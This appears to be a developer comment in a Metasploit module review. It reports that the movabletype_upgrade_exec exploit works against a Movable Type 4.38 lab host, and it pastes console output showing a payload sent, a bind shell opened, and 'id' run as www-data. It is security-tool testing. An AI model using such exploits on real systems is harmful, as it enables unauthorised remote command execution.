Ubuntu 10.04 and mt 4.38 here. For me it's working fine with the default timeout (20):

(btw, I know the log isn't the best proof in this case because you dont see any timestamp of events haha but it's not waiting. Feel free to ask me a pcap capture via email at juan.vazquez at metasploit.com if you would like :) ). I think will be asking someone else to try to test, I guess you're really experiencing issues with the timeout when you've put this code around :)

```
msf  exploit(movabletype_upgrade_exec) > rexploit
[*] Reloading module...
[*] Started bind handler

[*] 192.168.1.131:80 - Sending payload...
[*] Command shell session 3 opened (192.168.1.129:53609 -> 192.168.1.131:4444) at 2013-01-23 19:42:34 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 3? [y/N]  y

[*] 192.168.1.131 - Command shell session 3 closed.  Reason: User exit

```